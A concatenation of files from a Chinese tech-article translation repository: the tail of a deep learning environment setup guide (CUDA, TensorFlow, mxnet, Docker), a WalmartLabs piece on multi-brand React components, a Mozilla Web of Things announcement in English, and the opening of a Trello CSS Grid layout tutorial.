开源包并提供免费的支持社区。它可以创建虚拟环境,这些虚拟环境并不会相互影响。当同时使用不同的深度学习框架,这非常有用,尽管它们配置不同。使用它来安装包页非常方便。极易安装,[参考这里](https://docs.continuum.io/anaconda/install#linux-install)。 使用虚拟环境的一些命令: - source activate virtualenv - source deactivate ### 开发环境安装 (Python IDE): #### Spyder vs Pycharm? Spyder: - 优点:类 matlab,易于查看中间结果。 Pycharm: - 优点:模块化编码、更完整的 web 开发框架和跨平台的 IDE。 在我的个人哲学中,我认为它们只是工具。当使用时每个工具就会派上用场。我将使用 IDE 来构建主项目。例如,使用 pycharm 构建框架。然后,我仅用 vim 修改代码。这并不是说 VIM 有多么的强大和花哨。之后,我将使用 Vim 修改代码。而是因为它是我想真正掌握的文本编辑器。对于文本编辑器,我们不需要掌握两个。在特殊情况下,我们需要频繁地检查IO、目录等,我们可能希望使用 spyder。 #### 安装: 1. spyder: - 你不需要安装 spyder,因为 Anaconda 中已经自带了 spyder 2. Pycharm - 从 [官方网站](https://www.jetbrains.com/pycharm/) 下载。只需解压。 - 设置 Pycharm 的 项目解释器为 Anaconda,并进行包管理。关注 [这里](https://docs.continuum.io/anaconda/ide_integration#pycharm)。 3. vim - sudo apt-get install vim - 我使用的配置:[Github](https://github.com/Guanghan/VimIDE) 4. Git - sudo apt install git - git config –global user.name “Guanghan Ning” - git config –global user.email “guanghan.ning@gmail.com” - git config –global core.editor vim - git config –list ### GPU 优化计算环境安装 (CUDA 和 CuDNN) #### CUDA ##### [安装 CUDA 8.0 RC](https://developer.nvidia.com/cuda-release-candidate-download): 选择 7.5 以上版本的 8.0 版本有两个原因: - 相比于 CUDA 7.5,CUDA 8.0 将会提高 GTX1080 (Pascal) 的性能。 - ubuntu 16.04 似乎不支持 CUDA 7.5,因为你在官网上找不到它。因此 CUDA 8.0 是唯一的选择。 ##### [CUDA 入门指南](http://developer.download.nvidia.com/compute/cuda/8.0/secure/rc1/docs/sidebar/CUDA_Quick_Start_Guide.pdf?autho=1468531210_b9ce6047a5b7cb575fde7a6ffd6ad729&file=CUDA_Quick_Start_Guide.pdf) ##### [CUDA 安装指南](http://developer.download.nvidia.com/compute/cuda/8.0/secure/rc1/docs/sidebar/CUDA_Installation_Guide_Linux.pdf?autho=1468531209_7b8d97cef95dffcb18e2fecb656b8a85&file=CUDA_Installation_Guide_Linux.pdf) 1. sudo sh cuda_8.0.27_linux.run 2. 按照命令提示 3. 作为 CUDA 环境一部分,你需要在你主目录的 ~/**.bashrc** 文件中添加以下内容。 - export CUDA_HOME=/usr/local/cuda-8.0 - export LD_LIBRARY_PATH=${CUDA_HOME}/lib64 - PATH=${CUDA_HOME}/bin:${PATH} - export PATH 4. 验证是否安装 CUDA(记住需要重启 terminal): - nvcc –version #### CuDNN(CUDA 深度学习库) ##### [安装 CuDNN](https://developer.nvidia.com/cudnn) - 版本:CuDNN v5.0 for CUDA 8.0RC ##### [用户指南](http://developer.download.nvidia.com/compute/machine-learning/cudnn/secure/v5/prod/cudnn_library.pdf?autho=1468531134_f12a2097cf581a5659608091857f7326&file=cudnn_library.pdf) ##### [安装指南](http://developer.download.nvidia.com/compute/machine-learning/cudnn/secure/v5/prod/cudnn_library.pdf?autho=1468531134_f12a2097cf581a5659608091857f7326&file=cudnn_library.pdf) 1. 方式一:(环境变量中添加 CuDNN 路径) - Extract folder “cuda” - cd - export LD_LIBRARY_PATH=`pwd`:$LD_LIBRARY_PATH 2. 方式二: (将 CuDNN 的文件 拷贝到 CUDA 文件夹下。如果 CUDA 运行正常,它会通过相对路径自动找到 CUDNN) - tar xvzf cudnn-8.0.tgz - cd cudnn - sudo cp include/cudnn.h /usr/local/cuda/include - sudo cp lib64/libcudnn* /usr/local/cuda/lib64 - sudo chmod a+r /usr/local/cuda/include/cudnn.h /usr/local/cuda/lib64/libcudnn* ### 安装深度学习框架: #### Tensorflow / keras ##### 首先安装 tensorflow 1. [使用 Anaconda 安装](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/g3doc/get_started/os_setup.md#anaconda-installation) - conda create -n tensorflow python=3.5 2. [在环境中使用 Pip 安装 Tensorflow](https://www.tensorflow.org/versions/r0.9/get_started/os_setup.html#anaconda-installation) (目前不支持 cuda 8.0。当 CUDA 8.0 的二进制文件发布后我将会进行更新) - source activate tensorflow - sudo apt install python3-pip - export TF_BINARY_URL=https://storage.googleapis.com/tensorflow/linux/gpu/tensorflow-0.9.0-cp35-cp35m-linux_x86_64.whl - pip3 install –upgrade $TF_BINARY_URL 3. [直接使用源码安装 Tensorflow](https://www.tensorflow.org/versions/r0.9/get_started/os_setup.html#installing-from-sources) - install bazel: install jdk 8, uninstall jdk 9. - sudo apt-get install python-numpy swig python-dev - ./configure - build with bazel: bazel build -c opt –config=cuda //tensorflow/cc:tutorials_example_trainer, bazel-bin/tensorflow/cc/tutorials_example_trainer –use_gpu. ##### 安装 keras 1. 下载: [https://github.com/fchollet/keras/tree/master/keras](https://github.com/fchollet/keras/tree/master/keras) 2. 定位到 Keras 目录中并运行安装命令: - sudo python setup.py install 3. [改变默认后端](http://keras.io/backend/) 从 theano 到 tensorflow ##### 使用 conda 在虚拟环境间进行切换 1. source activate tensorflow 2. source deactivate #### Mxnet ##### 为 Mxnet 创建一个虚拟环境 1. conda create -n mxnet python=2.7 2. source activate mxnet ##### 参考 [官方网站](http://mxnet-mli.readthedocs.io/en/latest/how_to/build.html#building-on-ubuntu-debian) 安装 mxnet 1. sudo apt-get update 2. sudo apt-get install -y build-essential git libatlas-base-dev libopencv-dev 3. git clone –recursive https://github.com/dmlc/mxnet 4. edit make/config.mk 5. set cuda= 1, set cudnn= 1, add cuda path 6. cd mxnet 7. make clean_all 8. make -j4 - 我遇到的一个问题是,“高于 5.3 版本的 gcc 是不支持的!”, 而我的 gcc 为 5.4,因此我不得不删除它。 > - apt-get remove gcc g++ > - conda install -c anaconda gcc=4.8.5 > - gcc –version ##### 用于 mxnet 的[Python 包安装](http://mxnet-mli.readthedocs.io/en/latest/how_to/build.html#python-package-installation) 1. conda install -c anaconda numpy=1.11.1 2. 方法 1: - cd python; sudo python setup.py install - sudo apt-get install python-setuptools 3. 方法 2: - cd mxnet - cp -r ../mxnet/python/mxnet . - cp ../mxnet/lib/libmxnet.so mxnet/ 4. 快速测试: - python example/image-classification/train_mnist.py 5. GPU 测试: - python example/image-classification/train_mnist.py –network lenet –gpus 0 #### Caffe 1. 参考详细指南:[Caffe Ubuntu 16.04 或 15.10 安装指南](https://github.com/BVLC/caffe/wiki/Ubuntu-16.04-or-15.10-Installation-Guide) 2. 需要安装 OpenCV。Opencv 3.1 的安装,参考以下链接:[Ubuntu 16.04 或 15.10 OpenCV 3.1 安装指南](https://github.com/BVLC/caffe/wiki/Ubuntu-16.04-or-15.10-OpenCV-3.1-Installation-Guide) #### Darknet - 这是所有需要安装工具中最易安装的。仅需运行 “make” 命令,就是这么简单。 ### 开箱即用的深度学习环境:Docker 我已经在 Ubuntu 14.04 和 TITAN-X (cuda7.5) 上正确的安装过 caffe、darknet、mxnet 和 tensorflow 等。我已经完成了这些框架的项目,一切都很顺利。因此,如果你想专注于深度学习的研究,而不是被你可能遇到的外围问题所困扰,那么使用这些预先构建的环境比使用最新版本更安全。然后,您应该考虑使用 docker 将每个框架与它自己的环境隔离开来。这些 docker 镜像可以在 [DockerHub](https://hub.docker.com/) 中找到。 #### 安装 Docker 与虚拟器不同,docker 镜像由层构建。同一个组件可以在不同的镜像间共享。当我们下载一个新镜像,已经存在的组件是不需要重新下载的。相比于完全替换虚拟机镜像,这是非常高效和方便的。docker 容器是 docker 镜像的运行时。这些镜像可以被提交和更新,就如同 Git. 要在 Ubuntu 16.04 上安装 docker,我们可以参考 [官方网站](https://docs.docker.com/engine/installation/linux/ubuntulinux/) 的指南。 #### 安装 NVIDIA-Docker docker 容器是硬件和平台无关的,但是 docker 并没有通过容器来支持 NVIDIA GPU。(硬件是专门的,需要驱动程序。)为了解决这个问题,在特定的机器上启动容器的时候,我们需要 nvidia-docker 挂载到设备和驱动文件上。在这种情况下,镜像对于 Nvidia 驱动是不可知的。 NVIDIA-Docker 的安装从 [这里](https://github.com/NVIDIA/nvidia-docker) 可以找到。 #### 下载深度学习 Docker 镜像 我从 docker Hub 收集了一些预购建镜像。这些镜像列表如下: - cuda-caffe - cuda-mxnet - cuda-keras-tensorflow-jupyter #### 可以在 docker hub 上找到更多镜像。 在主机和容器间共享数据 对于计算机视觉研究人员来说,没有看到结果会很尴尬。例如,给一个图像添加毕加索风格,我们希望从不同的 epoch 输出结果。参考 [本页面](https://github.com/rocker-org/rocker/wiki/Sharing-files-with-host-machine) 快速在主机和容器间共享数据。在一个共享目录中,我们可以创建项目。在主机上,我们可以使用文本编辑器或者我们喜欢的 IDE 来编写代码。接着,我们可以在容器中运行程序。共享容器中的数据可以在基于 Ubuntu 机器的主机上通过 GUI 看到并处理。 #### 了解简单的 命令 如果你是一个 docker 新手,不要不知所措。如果你将来不需要用到它的话,你是不需要系统的学习这方面的知识的。以下是一些在 docker 上 使用的简单命令。如果你认为 docker 是一个工具,这些命令足够了,并且仅仅是为了深度学习而使用它。 ##### 如何检查 docker 镜像? - docker images: 查询所有安装的 docker 镜像。 ##### 如何检查 docker 容器? - docker ps -a:查询所有安装的容器。 - docker ps: 查询当前运行的容器 ##### 如何退出 docker 容器? 1. (方法 1) 在对应于当前容器的终端输入: - exit 2. (方法 2) 使用 [Ctrl + Alt + T] 打开一个新终端,或者使用 [Ctrl + Shift + T] 打开一个新终端: - docker ps -a:查询安装的镜像。 - docker ps: 查询运行的容器。 - docker stop [container’s ID]: 停止退出容器。 3. 如何删除一个 docker 镜像? - docker rmi [docker_image_name] 4. 如何删除一个 docker 容器? - docker rm [docker_container_name] 5. 基于已经存在的镜像如何制作我们自己的 docker 镜像?(从一个已经创建的镜像更新容器并且将结果提交到镜像。) - 加载镜像,打开一个容器 - 在容器中做一些修改 -提交镜像:docker commit -m “Message: Added changes” -a “Author: Guanghan” 0b2616b0e5a8 ning/cuda-mxnet 6. 在主机和 docker 容器之间拷贝数据: - docker cp foo.txt mycontainer:/foo.txt - docker cp mycontainer:/foo.txt foo.txt 7. 从 docker 镜像中打开一个容器: - 是否需要保存这个容器,因为它是可以被提交的:docker run -it [image_name] - 如果容器只是暂时使用:docker run –rm -it [image_name] 欢迎发表评论 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/building-react-components-for-multiple-brands-and-applications.md ================================================ > * 原文地址:[Building React Components for Multiple Brands and Applications](https://medium.com/walmartlabs/building-react-components-for-multiple-brands-and-applications-7e9157a39db4#.7tbsp6vsz) * 原文作者:[Alex Grigoryan](https://medium.com/@lexgrigoryan) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[XatMassacrE](https://github.com/XatMassacrE) * 校对者:[Tina92](https://github.com/Tina92)、[reid3290](https://github.com/reid3290) --- # 为多个品牌和应用构建 React 组件 ![](https://cdn-images-1.medium.com/max/1600/1*7bG_2QAIOzbKNeesEkkTzg.png) 沃尔玛大家庭由多个不同的品牌组成,其中包括 [Sam’s Club](https://www.samsclub.com/), [Asda](http://www.asda.com/),和例如 [Walmart Canada](http://www.walmart.ca/en) 之类的地区分支。电商应用通常会使用大量类似的功能,例如信用卡组件、登录表单、新手引导、轮播图、导航栏等等。然而为每一个独立的品牌开发他们的电商应用将会降低代码的复用率,这将导致在相似功能的组件上耗费大量的时间进行重复性的工作。在 @WalmartLabs , [代码的复用性对我们非常重要](https://medium.com/walmartlabs/how-to-achieve-reusability-with-react-components-81edeb7fb0e0#.arwumefxh)。这就是为什么我们的产品架构是基于多租户或者说多重品牌来构建的 —— 其实就是在为一个品牌构建组件的同时把这些组件应用在其他拥有不同外观和内容的品牌上的一种行为。接下来,你将会看到我们的React组件的多重品牌策略。 就像上面说的,我们的大部分服务都是建立在不同类型的多租户上的。当你访问服务的时候,通常情况下你会在标头或者有效载荷上传递租户,然后该服务会给特定的租户提供数据。举例来说对于 samsclub.com 和 walmart.com,服务会拉取不同的项目数据。 然后我们就尝试着在前端应用上推广这个想法。因为我们使用 React 和 Redux,视图层组件已经和应用的 state,actions 以及 reducers 分离开了。这意味着我们可以将 React 组件抽象出来作为一个 GitHub 组织,将 Redux actions,reducers 和已连接的组件抽象成另一个。通过把这些发布在 npm 的私人地址上,我们的开发者就可以轻易地安装,调试和升级这些分享出来的 UI 界面以及实现了我们业务逻辑的 actions 和 reducers 以及 API 调用。 [你可以了解更多关于我们这个地方的复用](https://medium.com/walmartlabs/how-to-achieve-reusability-with-react-components-81edeb7fb0e0#.arwumefxh)。 当然,如果这就结束了,那么我们所有应用的外观和行为都将会是一模一样的了。然而实际上,每一个品牌对于视觉指导方案,业务需求或者内容都有不同的要求,而且这些要求对于每个品牌来说都是必不可少的。 ### 视觉差异 单纯的视觉差异可以通过样式来处理。我们的样式主要是在组件级别。我们有一个 "style" 文件夹,在这个文件夹里面是一些租户文件夹,租户文件夹里面是租户的特定的样式文件。 就像这样: Component - src - styles - walmart - samsclub - grocery 当在组件层管理这些样式文件的时候,会发生一个问题,这个问题就是你的组件的 css 会相互冲突。在命名方面我是尤其没有创造性的,所以对于我来说绝对会产生冲突。我们将会使用 [CSS modules](https://github.com/css-modules/css-modules) (它有一个绝妙的 logo),它会帮助我们移除意外冲突的问题(在我们的原型中已经支持了)。 在图标方面,我们可以抽取一些常用的图标放到一个单独 GitHub 组织并且按照需要导入到组件中。 这些特定租户的 CSS 文件和图标在 build 的时候会使用 Webpack 打包到一起。 ### 内容差异 基于服务地区的不同,不同的品牌有不同的内容需求。一个超级简单的例子就是,walmart.com 和 walmart.ca 显示 "加入购物车" 的地方,asda.com 只显示 "加入",而我们的 George clothing 品牌显示 "加入篮子",grocery.walmart.com 会显示一个图标。 ![](https://cdn-images-1.medium.com/max/1600/1*a-3DlvR6-xabNhFenEcRkg.png) 我们使用 [React-Intl](https://github.com/yahoo/react-intl) 进行繁杂的内容管理。这些内容是在组件层面被管理的,和样式类似,每个租户都有他们自己的内容文件。你将会在你的租户或者品牌特定的内容文件夹(就像 CSS 一样)里指定你的内容,但是对于内容来讲不一样的地方是,对于没有指定的地方我们会使用 walmart.com 默认的内容。在组件的构建过程中,基于你的租户的构建参数,我们的 webpack 将会仅仅保留你的租户的内容加上那些来自 walmart.com 的默认内容。 ### 更大的差异 在租户之间还有更大的差异,例如对于可分享组件中的 DOM 的变动我们会采取两个策略。对于微小的 DOM 变动, 我们通过组件的属性决定是否启用和操作它的子组件。我们的登录表单就是这样做的,Sam’s Club 希望在密码表单中有一个 "显示密码" 的按钮而 Walmart 则不需要。我将会使用一个叫做 “displayShowPassword” 的属性来管理这个租户的特定需求。 有一点需要注意的是,如果你过份地依赖属性来管理不同的租户的需求的话,你的组件将会变的臃肿,这和更大的文件占用一样会使得开发更加难以管理。这个问题在租户之间的文件路径相互冲突时将会尤其明显。我们正在想办法解决这个问题。 对于更大的改变说来,我们使用高级组件与合成组件。当然,这就需要在还没开发的时候就高瞻远瞩,在开发的第一天就思考如何构建出一个可配置的共享组件。从长期来看,复用性的回报是值得我们额外的预先思考的。 ### 较大差异的例子 我们使用两个不同租户的 "登录案例" 来说明。请看下图,左边的图片需要邮箱,密码,显示忘记密码的链接和一个登录按钮,右边则是邮箱,密码,登录按钮和**页眉**以及**一些额外的链接**。我们可以明显的看到这两个租户的一些 UI 元素是可以共用的(举例来说就是他们都需要邮箱地址,密码和用户登录),而另外一些特定的功能又是不同的(举例来说就是右边的租户需要额外的链接和页眉)。 现在,在我们深入之前我想先来解释一个问题 "对于这些看起来并不相同的 UI,我们为什么不重新做一个而是尽可能的让它们适用于多个品牌呢?",从长期来讲(短期也是同理)即使这些组件看起来并不相同,但是基于一个已经存在的组件做拓展所花费的努力仍然要小于重新做一个。拿登录来说,因为你需要特殊的安全和隐私需求所以你必须要注意很多地方例如离开站点后哪些是不可见的,然后还要保证你拥有自动数据采集许可,而且还要支持所有的浏览器和移动端,处理错误,编写表单的自动填充(记住,我们还共享了 redux )。在组件初始化的时候除了这个盒子以外的所有东西都需要被复制一遍。在未来还有可能发生例如 samsclub 需要优化想要 "显示密码" 或者 walmart 想要一个注册区域的需求。从本质上讲,只要一个团队修复了 bug ,做了 a/b 测试或者改进了表单,那么这些新增的部分都会被分享到所有的租户和品牌。 好了,对于一直阐述为什么这个问题我感到很抱歉,接下来就让我们来讨论下如何解决在共享代码的同时又能够提供个性化和拓展性的问题吧。 下面,我们将会应用之前讨论的两点 —— 使用**组合**和**属性**来控制一个组件的特性。 ![](https://cdn-images-1.medium.com/max/1600/1*3w8MYZu8-HuChhbQPSrlSg.gif) ![](https://cdn-images-1.medium.com/max/1600/0*X8Kmo4nhFo0ZvJea.) 我们将会使用一个不同的例子来从面向切面编程的角度来解决问题。**面向切面编程**(**AOP**)是旨在通过允许分离问题的切面来增加模块性的一个编程范式。在这个例子中我们将会试着对 React 组件做一个横切面概念的 **"追踪分析"** 。那么如何来解决这个问题呢? 我们将会使用上面提到的 "高级组件" 的概念。 ![](https://cdn-images-1.medium.com/max/1600/0*7Dfmiy7JH4clBEnW.) 如果租户们在做追踪的时候有不同的方法,那么我们将对每个特定的租户使用不同的 HOC。 在上述策略中,我们要确保编写的组件是遵循像**单一职责原则**,**避免重复原则** 之类的可以辅助不同租户间的代码共享的基本软件开发原则。 这些就是我们在 @WalmartLabs 基于多租户策略的基础元素。同时也是我们能够开发出健壮,可维护的并且在不牺牲本地化和品牌化的前提下共享一个通用后端的应用的至关重要的基石。 ================================================ FILE: TODO/building-the-web-of-things.md ================================================ > * 原文地址:[Building the Web of Things](https://hacks.mozilla.org/2017/06/building-the-web-of-things/) > * 原文作者:[Ben Francis](http://tola.me.uk/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/building-the-web-of-things.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-the-web-of-things.md) > * 译者: > * 校对者: # Building the Web of Things Mozilla is working to create a Web of Things framework of software and services that can bridge the communication gap between connected devices. By providing these devices with web URLs and a standardized data model and API, we are moving towards a more decentralized Internet of Things that is safe, open and interoperable. [![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/iot_banner-1-500x275.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/iot_banner-1.png) The Internet and the World Wide Web are built on open standards which are decentralized by design, with anyone free to implement those standards and connect to the network without the need for a central point of control. This has resulted in the explosive growth of hundreds of millions of personal computers and billions of smartphones which can all talk to each other over a single global network. As technology advances from personal computers and smartphones to a world where everything around us is connected to the Internet, new types of devices in our homes, cities, cars, clothes and even our bodies are going online every day. ## The Internet of Things The “Internet of Things” (IoT) is a term to describe how physical objects are being connected to the Internet so that they can be discovered, monitored, controlled or interacted with. Like any advancement in technology, these innovations bring with them enormous new opportunities, but also new risks. At Mozilla our mission is “to ensure the Internet is a global public resource, open and accessible to all. An Internet that truly puts people first, where individuals can shape their own experience and are empowered, safe and independent.” This mission has never been more important than today, a time when everything around us is being designed to connect to the Internet. As new types of devices come online, they bring with them significant new challenges around security, privacy and interoperability. Many of the new devices connecting to the Internet are insecure, do not receive software updates to fix vulnerabilities, and raise new privacy questions around the collection, storage, and use of large quantities of extremely personal data. Additionally, most IoT devices today use proprietary vertical technology stacks which are built around a central point of control and which don’t always talk to each other. When they do talk to each other it requires per-vendor integrations to connect those systems together. There are efforts to create standards, but the landscape is extremely complex and there’s still not yet a single dominant model or market leader. [![A chart of leading proprietary IoT stacks](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/iot_vertical_stacks-500x218.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/iot_vertical_stacks.png) ## The Web of Things Using the Internet of Things today is a lot like sharing information on the Internet before the World Wide Web existed. There were competing hypertext systems and proprietary GUIs, but the Internet lacked a unifying application layer protocol for sharing and linking information. The “Web of Things” (WoT) is an effort to take the lessons learned from the World Wide Web and apply them to IoT. It’s about creating a decentralized Internet of Things by giving Things URLs on the web to make them linkable and discoverable, and defining a standard data model and APIs to make them interoperable. [![A table showing Web of Things standards](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/wot_horizontal_layers-500x207.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/wot_horizontal_layers.png) The Web of Things is not just another vertical IoT technology stack to compete with existing platforms. It is intended as a unifying horizontal application layer to bridge together multiple underlying IoT protocols. Rather than start from scratch, the Web of Things is built on existing, proven web standards like REST, [HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP), [JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON), [WebSockets](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket) and TLS (Transport Layer Security). The Web of Things will also require new web standards. In particular, we think there is a need for a Web Thing Description format to describe things, a REST style Web Thing API to interact with them, and possibly a new generation of HTTP better optimised for IoT use cases and use by resource constrained devices. The Web of Things is not just a Mozilla Initiative, there is already a well established[ Web of Things community](http://webofthings.org/) and related standardization efforts at the[ IETF](https://www.ietf.org/id/draft-keranen-t2trg-rest-iot-04.txt),[ W3C](https://www.w3.org/WoT/),[ OCF](https://openconnectivity.org/developer/specifications) and[ OGC](https://github.com/opengeospatial/sensorthings). Mozilla plans to be a participant in this community to help define new web standards and promote best practices around privacy, security and interoperability. From this existing work three key integration patterns have emerged for connecting things to the web, defined by the point at which a Web of Things API is exposed to the Internet. [![Diagram comparing Direct, Gateway, and Cloud Integration Patterns](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/wot_integration_patterns-500x213.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/wot_integration_patterns.png) ### Direct Integration Pattern The simplest pattern is the direct integration pattern where a device exposes a Web of Things API directly to the Internet. This is useful for relatively high powered devices which can support TCP/IP and HTTP and can be directly connected to the Internet (e.g. a WiFi camera). This pattern can be tricky for devices on a home network which may need to use NAT or TCP tunneling in order to traverse a firewall. It also more directly exposes the device to security threats from the Internet. ### Gateway Integration Pattern The gateway integration pattern is useful for resource-constrained devices which can’t run an HTTP server themselves and so use a gateway to bridge them to the web. This pattern is particularly useful for devices which have limited power or which use PAN network technologies like Bluetooth or ZigBee that don’t directly connect to the Internet (e.g. a battery powered door sensor). A gateway can also be used to bridge all kinds of existing IoT devices to the web. ### Cloud Integration Pattern In the cloud integration pattern the Web of Things API is exposed by a cloud server which acts as a gateway remotely and the device uses some other protocol to communicate with the server on the back end. This pattern is particularly useful for a large number of devices over a wide geographic area which need to be centrally co-ordinated (e.g. air pollution sensors). ## Project Things by Mozilla In the Emerging Technologies team at Mozilla we’re working on an experimental framework of software and services to help developers connect “things” to the web in a safe, secure and interoperable way. [![Things Framework diagram](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/project_things_architecture-500x582.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/project_things_architecture.png) Project Things will initially focus on developing three components: - Things Gateway — An open source implementation of a Web of Things gateway which helps bridge existing IoT devices to the web - Things Cloud — A collection of Mozilla-hosted cloud services to help manage a large number of IoT devices over a wide geographic area - Things Framework — Reusable software components to help create IoT devices which directly connect to the Web of Things ## Things Gateway Today we’re announcing the availability of a prototype of the first component of this system, the Things Gateway. We’ve made available a software image you can use to [build your own Web of Things gateway](http://iot.mozilla.org/gateway) using a Raspberry Pi. [![Things Gateway diagram](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/things_gateway_architecture-500x433.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/things_gateway_architecture.png) So far this early prototype has the following features: - Easily discover the gateway on your local network - Choose a web address which connects your home to the Internet via a secure TLS tunnel requiring zero configuration on your home network - Create a username and password to authorize access to your gateway - Discover and connect commercially available ZigBee and Z-Wave smart plugs to the gateway - Turn those smart plugs on and off from a web app hosted on the gateway itself We’re releasing this prototype very early on in its development so that hackers and makers can get their hands on the source code to build their own Web of Things gateway and contribute to the project from an early stage. This initial prototype is implemented in JavaScript with a NodeJS web server, but we are exploring an adapter add-on system to allow developers to build their own Web of Things adapters using other programming languages like Rust in the future. ## Web Thing API Our goal in building this IoT framework is to lead by example in creating a Web of Things implementation which embodies Mozilla’s values and helps drive IoT standards around security, privacy and interoperability. The intention is not just to create a Mozilla IoT platform but an open source implementation of a Web of Things API which anyone is free to implement themselves using the programming language and operating system of their choice. To this end, we have started working on a draft [Web Thing API specification](https://mozilla-iot.github.io/wot/) to eventually propose for standardization. This includes a simple but extensible Web Thing Description format with a default JSON encoding, and a REST + WebSockets Web Thing API. We hope this pragmatic approach will appeal to web developers and help turn them into WoT developers who can help realize our vision of a decentralized Internet of Things. We encourage developers to experiment with using this draft API in real life use cases and provide [feedback](https://github.com/mozilla-iot/wot/issues) on how well it works so that we can improve it. [![Web Thing API spec - Member Submission](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/web_thing_api_specification-500x375.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/06/web_thing_api_specification.png) ## Get Involved There are many ways you can contribute to this effort, some of which are: - Build a Web Thing — build your own IoT device which uses the [Web Thing API](https://mozilla-iot.github.io/wot/) - Create an adapter — Create an [adapter](https://github.com/mozilla-iot/gateway/tree/master/adapters) to bridge an existing IoT protocol or device to the web - Hack on Project Things — Help us develop Mozilla’s Web of Things [implementation](https://github.com/mozilla-iot) You can find out more at [iot.mozilla.org](http://iot.mozilla.org) and all of our source code is on [GitHub](https://github.com/mozilla-iot). You can find us in #iot on [irc.mozilla.org](https://wiki.mozilla.org/IRC) or on our [public mailing list](https://mail.mozilla.org/listinfo/mozilla.dev.iot). ## About [Ben Francis](http://tola.me.uk) Full time UK-based Mozillian, working on the Web of Things. - [tola.me.uk](http://tola.me.uk) - [@bfrancis](http://twitter.com/bfrancis) [More articles by Ben Francis…](https://hacks.mozilla.org/author/benfrancis/) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/building-trello-layout-css-grid-flexbox.md ================================================ > * 原文地址:[Building a Trello Layout with CSS Grid and Flexbox](https://www.sitepoint.com/building-trello-layout-css-grid-flexbox/) > * 原文作者:[Giulio Mainardi](https://www.sitepoint.com/author/gmainardi/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/building-trello-layout-css-grid-flexbox.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-trello-layout-css-grid-flexbox.md) > * 译者:[sunui](https://github.com/sunui) > * 校对者:[Aladdin-ADD](https://github.com/Aladdin-ADD)、[ahonn](https://github.com/ahonn) # 使用 CSS 栅格和 Flexbox 打造 Trello 布局 通过本教程,我将带你完成 [Trello](https://trello.com/) 看板 ([查看示例](https://trello.com/b/nC8QJJoZ/trello-development-roadmap))的基本布局。这是一个响应式的、纯 CSS 的解决方案,并且我们将只开发布局的结构特性。 [这是一个 CodePen demo](https://codepen.io/SitePoint/pen/brmXRX?editors=0100),可预览一下最终结果。 ![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/08/1504250645trello-screen.png) 除了[栅格布局](https://www.sitepoint.com/introduction-css-grid-layout-module/)和 [Flexbox](https://www.sitepoint.com/flexbox-css-flexible-box-layout/),这个方案还采用了 [calc](https://www.sitepoint.com/css3-calc-function/) 和[视图单位](https://www.sitepoint.com/css-viewport-units-quick-start/)。我们也将利用 [Sass 变量](http://sass-lang.com/documentation/file.SASS_REFERENCE.html#variables_),让代码更可读和高效。 不提供向下兼容,所以请确保在支持的浏览器上运行。一切就绪,就让我们开始一步一步开发看板组件吧。 ## 屏幕布局 一个 Trello 看板由一个 app 栏、一个 board 栏和一个包含卡片列表的部分组成。我使用以下标签骨架搭建出这一结构: ```html
    ...
    ...
    ...
    • ...
    • ...
    • ...
    ...
